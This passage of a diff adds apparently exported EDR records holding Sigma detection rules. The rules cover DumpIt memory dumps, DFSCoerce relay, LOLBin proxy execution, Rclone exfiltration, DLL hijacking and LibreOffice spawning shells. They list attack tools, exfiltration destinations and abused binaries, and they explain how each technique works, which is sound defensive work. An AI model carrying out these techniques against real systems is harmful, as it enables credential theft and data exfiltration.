+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.069916Z",
+  "creation_date": "2026-03-23T11:45:34.069918Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.069922Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.synacktiv.com/publications/windows-secrets-extraction-a-summary",
+    "https://attack.mitre.org/techniques/T1003/"
+  ],
+  "name": "t1003_dumpit_executed.yml",
+  "content": "title: DumpIt Executed\nid: 59a2da9a-8334-4169-8886-427fec2a7c46\ndescription: |\n    Detects the execution of a DumpIt binary, a tool used to create full memory dumps for forensic or diagnostic purposes on Windows systems.\n    Attackers can use it to extract authentication secrets from memory and perform lateral movement within a network.\n    It is recommended to analyze the execution chain associated with this alert to determine its legitimacy.\nreferences:\n    - https://www.synacktiv.com/publications/windows-secrets-extraction-a-summary\n    - https://attack.mitre.org/techniques/T1003/\ndate: 2025/11/21\nmodified: 2025/11/25\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003\n    - attack.t1003.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.DumpIt\n    - classification.Windows.Behavior.LSASSAccess\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'DumpIt.exe'\n        Name|contains: 'dumpit'\n\n    exclusion_dfir_orc:\n        - Image|endswith: '\\dumpit_x64.exe'\n          CommandLine|contains: '\\Temp\\WorkingTemp\\'\n        - ParentImage|endswith: '\\DFIR-Orc_x64.exe'\n          CommandLine|contains: '\\Temp\\WorkingTemp\\'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "59a2da9a-8334-4169-8886-427fec2a7c46",
+  "rule_name": "DumpIt Executed",
+  "rule_description": "Detects the execution of a DumpIt binary, a tool used to create full memory dumps for forensic or diagnostic purposes on Windows systems.\nAttackers can use it to extract authentication secrets from memory and perform lateral movement within a network.\nIt is recommended to analyze the execution chain associated with this alert to determine its legitimacy.\n",
+  "rule_creation_date": "2025-11-21",
+  "rule_modified_date": "2025-11-25",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003",
+    "attack.t1003.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "59bfb123-6127-40af-9574-1ce62826ec93",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.078475Z",
+  "creation_date": "2026-03-23T11:45:34.078477Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.078481Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.praetorian.com/blog/how-to-detect-dfscoerce/",
+    "https://github.com/Wh04m1001/DFSCoerce",
+    "https://attack.mitre.org/techniques/T1187/"
+  ],
+  "name": "t1187_dfscoerce.yml",
+  "content": "title: Possible DFSCoerce Attempt\nid: 59bfb123-6127-40af-9574-1ce62826ec93\ndescription: |\n    Detects all attempts to remove or add a DFS namespace which could be indicative of a DFSCoerce attack.\n    DFSCoerce is an NTLM relay attack that abuses the MS-DFSNM protocol to coerce a Domain Controller into authenticating against an attacker-controlled server, enabling an unauthorised user to escalate privileges to domain admin.\n    The two RPC methods 'NetrDfsRemoveStdRoot' and 'NetrDfsAddStdRoot' can be used to coerce a host to authenticate to an arbitrary server.\n    It is recommended to check the server name IP address and the root share name to determine the legitimacy of this action.\nreferences:\n    - https://www.praetorian.com/blog/how-to-detect-dfscoerce/\n    - https://github.com/Wh04m1001/DFSCoerce\n    - https://attack.mitre.org/techniques/T1187/\ndate: 2025/06/13\nmodified: 2025/11/04\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1187\n    - classification.Windows.Source.EventLog\n    - classification.Windows.HackTool.DFSCoerce\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.ActiveDirectory\nlogsource:\n    product: windows\n    category: eventlog\ndetection:\n    selection:\n        LogName: 'Microsoft-Windows-DFSN-Server/Admin'\n        EventID:\n          - 515 # NetrDfsRemoveStdRoot\n          - 514 # NetrDfsAddStdRoot\n        AgentOsProductType: 'server dc'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "59bfb123-6127-40af-9574-1ce62826ec93",
+  "rule_name": "Possible DFSCoerce Attempt",
+  "rule_description": "Detects all attempts to remove or add a DFS namespace which could be indicative of a DFSCoerce attack.\nDFSCoerce is an NTLM relay attack that abuses the MS-DFSNM protocol to coerce a Domain Controller into authenticating against an attacker-controlled server, enabling an unauthorised user to escalate privileges to domain admin.\nThe two RPC methods 'NetrDfsRemoveStdRoot' and 'NetrDfsAddStdRoot' can be used to coerce a host to authenticate to an arbitrary server.\nIt is recommended to check the server name IP address and the root share name to determine the legitimacy of this action.\n",
+  "rule_creation_date": "2025-06-13",
+  "rule_modified_date": "2025-11-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1187"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "59c50f51-8b62-4a82-872d-9ce2c6519792",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.087722Z",
+  "creation_date": "2026-03-23T11:45:34.087724Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.087729Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Ie4uinit/",
+    "https://thedfirreport.com/2024/12/02/the-curious-case-of-an-egg-cellent-resume/",
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1218_ie4uinit_proxy_execution.yml",
+  "content": "title: Proxy Execution via ie4uinit\nid: 59c50f51-8b62-4a82-872d-9ce2c6519792\ndescription: |\n    Detects an execution of ie4uinit.exe in an unusual folder.\n    The Windows binary ie4uinit.exe can be used to execute code from a maliciously crafted ie4uinit.inf file.\n    Adversaries can use this utility to proxy the execution of malicious code and make their actions stealthier.\n    It is recommended to investigate the ie4uinit.inf file in the ie4uinit.exe folder and any other malicious activities on the machine.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Ie4uinit/\n    - https://thedfirreport.com/2024/12/02/the-curious-case-of-an-egg-cellent-resume/\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2024/12/03\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Ie4uinit\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        OriginalFileName: 'Ie4uinit.exe'\n\n    filter_legitimate:\n        Image:\n          - '?:\\windows\\system32\\ie4uinit.exe'\n          - '?:\\windows\\sysWOW64\\ie4uinit.exe'\n\n    exclusion_iVMS:\n        CommandLine: '?:\\Users\\\\*\\AppData\\Local\\Temp\\InstallationTempFile\\ie4uinit.exe -ClearIconCache'\n        Ancestors|contains: '\\iVMS-4200V'\n\n    exclusion_hikvision:\n        ProcessImage: '?:\\Users\\\\*\\AppData\\Local\\Temp\\InstallationTempFile\\ie4uinit.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Hangzhou Hikvision Digital Tech.Co.,Ltd'\n\n    exclusion_ossia:\n        ProcessImage:\n            - '?:\\Program Files (x86)\\Ossia VMS Standard\\Client\\ie4uinit.exe'\n            - '?:\\Program Files (x86)\\Ossia VMS Standard\\Server\\ie4uinit.exe'\n\n    exclusion_safire:\n        ProcessImage:\n            - '?:\\Program Files (x86)\\Safire Smart VMS lite\\Client\\ie4uinit.exe'\n            - '?:\\Program Files (x86)\\Safire Smart VMS lite\\Server\\ie4uinit.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Chipspoint Electronics Co., Ltd.'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "59c50f51-8b62-4a82-872d-9ce2c6519792",
+  "rule_name": "Proxy Execution via ie4uinit",
+  "rule_description": "Detects an execution of ie4uinit.exe in an unusual folder.\nThe Windows binary ie4uinit.exe can be used to execute code from a maliciously crafted ie4uinit.inf file.\nAdversaries can use this utility to proxy the execution of malicious code and make their actions stealthier.\nIt is recommended to investigate the ie4uinit.inf file in the ie4uinit.exe folder and any other malicious activities on the machine.\n",
+  "rule_creation_date": "2024-12-03",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "59d486f3-7e80-472f-ba5f-6094fb3585d9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.611170Z",
+  "creation_date": "2026-03-23T11:45:34.611174Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.611181Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://redcanary.com/blog/rclone-mega-extortion/",
+    "https://www.bitdefender.com/files/News/CaseStudies/study/421/Bitdefender-PR-Whitepaper-IndEs-creat6269-en-EN.pdf",
+    "https://attack.mitre.org/techniques/T1567/002/"
+  ],
+  "name": "t1567_002_suspicious_rclone.yml",
+  "content": "title: Suspicious Rclone Execution\nid: 59d486f3-7e80-472f-ba5f-6094fb3585d9\ndescription: |\n    Detects an execution of Rclone with command-line arguments often seen on exfiltration scenarios.\n    Attackers can use Rclone to exfiltrate data to an external server before deploying a ransomware.\n    It is recommended to investigate the target location specified in the Rclone command-line, as well as which data was cloned to determine if this action was legitimate.\nreferences:\n    - https://redcanary.com/blog/rclone-mega-extortion/\n    - https://www.bitdefender.com/files/News/CaseStudies/study/421/Bitdefender-PR-Whitepaper-IndEs-creat6269-en-EN.pdf\n    - https://attack.mitre.org/techniques/T1567/002/\ndate: 2021/09/30\nmodified: 2025/02/18\nauthor: HarfangLab\ntags:\n    - attack.exfiltration\n    - attack.t1567.002\n    - attack.t1048.002\n    - attack.t1048.003\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.Rclone\n    - classification.Windows.Behavior.Exfiltration\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection_rclone:\n        - OriginalFileName: 'rclone.exe'\n        - Image|endswith: '\\rclone.exe'\n\n    selection_variant_suspicious_destination:\n        CommandLine|contains:\n            - 'ftp:'\n            - 'sftp:'\n            - 'remote:'\n            - 'mega:'\n            - 'gdrive:'\n            - 'pcloud:'\n            - 'dropbox:'\n            - 's3:'\n            - 'webdav:'\n\n    selection_variant_suspicious_flags:\n        CommandLine|contains:\n            - '--config'\n            - '--no-check-certificate'\n\n    condition: selection_rclone and 1 of selection_variant_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "59d486f3-7e80-472f-ba5f-6094fb3585d9",
+  "rule_name": "Suspicious Rclone Execution",
+  "rule_description": "Detects an execution of Rclone with command-line arguments often seen on exfiltration scenarios.\nAttackers can use Rclone to exfiltrate data to an external server before deploying a ransomware.\nIt is recommended to investigate the target location specified in the Rclone command-line, as well as which data was cloned to determine if this action was legitimate.\n",
+  "rule_creation_date": "2021-09-30",
+  "rule_modified_date": "2025-02-18",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1048.002",
+    "attack.t1048.003",
+    "attack.t1567.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "59d4b297-7e16-4785-93bf-77aa4203d81b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085337Z",
+  "creation_date": "2026-03-23T11:45:34.085339Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085343Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.blue-prints.blog/content/blog/posts/lolbin/addinutil-lolbas.html",
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1218_suspicious_addinutil_child_process.yml",
+  "content": "title: Suspicious Process Spawned by AddInutil.exe\nid: 59d4b297-7e16-4785-93bf-77aa4203d81b\ndescription: |\n    Detects an unusual process spawned by the Add-In deployment cache updating utility (AddInutil.exe).\n    Adversaries can use this utility to proxy the execution of malicious code, in an attempt to evade defenses.\n    It is recommended to investigate the process spawned by AddInutil.exe and other potentially malicious activities on the machine.\nreferences:\n    - https://www.blue-prints.blog/content/blog/posts/lolbin/addinutil-lolbas.html\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2023/10/27\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.AddInutil\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ProxyExecution\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ProcessParentOriginalFileName: 'AddInUtil.exe'\n\n    exclusion_conhost_1:\n        OriginalFileName: 'conhost.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_conhost_2:\n        OriginalFileName: 'conhost.exe'\n        CommandLine: '\\\\?\\?\\\\?:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1'\n\n    exclusion_werfault:\n        OriginalFileName: 'werfault.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_dw20:\n        Image: '?:\\Windows\\Microsoft.NET\\Framework64\\v*\\dw20.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "59d4b297-7e16-4785-93bf-77aa4203d81b",
+  "rule_name": "Suspicious Process Spawned by AddInutil.exe",
+  "rule_description": "Detects an unusual process spawned by the Add-In deployment cache updating utility (AddInutil.exe).\nAdversaries can use this utility to proxy the execution of malicious code, in an attempt to evade defenses.\nIt is recommended to investigate the process spawned by AddInutil.exe and other potentially malicious activities on the machine.\n",
+  "rule_creation_date": "2023-10-27",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "59d8e544-4173-4f01-8db4-a19927dc54d0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.091038Z",
+  "creation_date": "2026-03-23T11:45:34.091040Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.091044Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_systempropertiescomputername.yml",
+  "content": "title: DLL Hijacking via systempropertiescomputername.exe\nid: 59d8e544-4173-4f01-8db4-a19927dc54d0\ndescription: |\n    Detects potential Windows DLL Hijacking via systempropertiescomputername.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'systempropertiescomputername.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\bcd.dll'\n            - '\\WINSTA.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "59d8e544-4173-4f01-8db4-a19927dc54d0",
+  "rule_name": "DLL Hijacking via systempropertiescomputername.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via systempropertiescomputername.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5a4a2c76-7d1f-47d1-8b34-2294c67ad00e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.595372Z",
+  "creation_date": "2026-03-23T11:45:34.595375Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.595383Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1203/",
+    "https://attack.mitre.org/techniques/T1204/002/",
+    "https://attack.mitre.org/techniques/T1566/"
+  ],
+  "name": "t1204_002_libreoffice_application_spawning_malicious_processes.yml",
+  "content": "title: Dangerous Process Started by LibreOffice Application\nid: 5a4a2c76-7d1f-47d1-8b34-2294c67ad00e\ndescription: |\n    Detects various potentially malicious binaries started from LibreOffice applications.\n    Attackers heavily use phishing attacks to gain access to a victim's system, and they often result in the execution of code by application reading the infected documents.\n    It is recommended to investigate actions taken by the started process, as well as the opened document by LibreOffice at the time of detection.\nreferences:\n    - https://attack.mitre.org/techniques/T1203/\n    - https://attack.mitre.org/techniques/T1204/002/\n    - https://attack.mitre.org/techniques/T1566/\ndate: 2022/07/04\nmodified: 2025/04/03\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1203\n    - attack.t1204.002\n    - attack.initial_access\n    - attack.t1566\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Phishing\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_parent:\n        ParentImage|endswith: '\\soffice.bin'\n\n    selection_image:\n        - Image|endswith:\n          # cmd + scripts\n            - '\\cmd.exe'\n            - '\\powershell.exe'\n            - '\\wscript.exe'\n            - '\\cscript.exe'\n          # persistence\n            - '\\schtasks.exe'\n            - '\\regsvr32.exe'  # lolbas squiblydoo\n            - '\\wmic.exe'  # use wmic to spawn PowerShell or else under wmiprvse or squiblytwo\n            - '\\mshta.exe'\n            - '\\rundll32.exe'\n            - '\\msiexec.exe'\n            - '\\msbuild.exe' # https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_execution_msbuild_started_by_office_app.toml\n            - '\\AppVLP.exe' # lolbas : https://lolbas-project.github.io/lolbas/OtherMSBinaries/Appvlp/\n        # handle renamed binaries\n        - OriginalFileName:\n            - 'Cmd.Exe'\n            - 'PowerShell.EXE'\n            - 'cscript.exe'\n            - 'wscript.exe'\n            - 'schtasks.exe'\n            - 'REGSVR32.EXE'\n            - 'wmic.exe'\n            - 'MSHTA.EXE'\n            - 'RUNDLL32.EXE'\n            - 'msiexec.exe'\n            - 'MSBuild.exe'\n            - 'appvlp.exe'\n\n    exclusion_hp:\n        CommandLine|contains: '?:\\windows\\system32\\spool\\DRIVERS\\x64\\3\\hpmsn???.dll'\n\n    exclusion_ver:\n        CommandLine:\n            - '?:\\windows\\system32\\cmd.exe /c ver'\n            - '?:\\windows\\system32\\cmd.exe /c cmd /c ver'\n            - '?:\\windows\\system32\\cmd.exe /c command /c ver'\n\n    exclusion_tex:\n        CommandLine|contains|all: 'AppData\\Roaming\\LibreOffice\\\\*\\user\\TexMaths\\'\n\n    exclusion_ndfapi:\n        CommandLine: '?:\\WINDOWS\\system32\\rundll32.exe ndfapi.dll,NdfRunDllDiagnoseWithAnswerFile NetworkDiagnosticsSharing ?:\\Users\\\\*\\AppData\\Local\\Temp\\NDF*.tmp'\n\n    exclusion_wmic:\n        CommandLine:\n            - 'cmd /C WMIC bios get serialnumber'\n            - 'cmd /C WMIC computersystem get manufacturer'\n            - 'cmd /C WMIC computersystem get model'\n            - 'cmd /C WMIC computersystem get TotalPhysicalMemory'\n            - 'cmd /C WMIC cpu get DeviceID'\n            - 'cmd /C WMIC cpu get manufacturer'\n            - 'cmd /C WMIC cpu get MaxClockSpeed'\n            - 'cmd /C WMIC cpu get Name'\n            - 'cmd /C WMIC cpu get NumberOfCores'\n            - 'cmd /C WMIC cpu get NumberOfLogicalProcessors'\n\n    exclusion_officeaddin:\n        CommandLine:\n            - 'regsvr32 /s /n /i:OnPrinterAccess ?:\\WINDOWS\\system32\\spool\\DRIVERS\\x64\\3\\UDCOfficeAddin*.dll'\n            - 'regsvr32 /s /n /i ?:\\WINDOWS\\system32\\spool\\DRIVERS\\x64\\3\\UDCOfficeAddin*x64.dll'\n\n    exclusion_rundll32:\n        CommandLine|contains:\n            - 'rundll32.exe ?:\\Program Files\\'\n            - 'rundll32.exe ?:\\Program Files (x86)\\'\n            - 'rundll32.exe ?:\\Windows\\system32\\url.dll,MailToProtocolHandler mailto:'\n            - 'runDll32.exe ?:\\Windows\\system32\\hotplug.dll,HotPlugSafeRemovalDriveNotification'\n            - 'rundll32.exe ?:\\WINDOWS\\SYSTEM32\\SPOOL\\DRIVERS\\X64\\\\*\\\\*.DLL'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5a4a2c76-7d1f-47d1-8b34-2294c67ad00e",
+  "rule_name": "Dangerous Process Started by LibreOffice Application",
+  "rule_description": "Detects various potentially malicious binaries started from LibreOffice applications.\nAttackers heavily use phishing attacks to gain access to a victim's system, and they often result in the execution of code by application reading the infected documents.\nIt is recommended to investigate actions taken by the started process, as well as the opened document by LibreOffice at the time of detection.\n",
+  "rule_creation_date": "2022-07-04",
+  "rule_modified_date": "2025-04-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
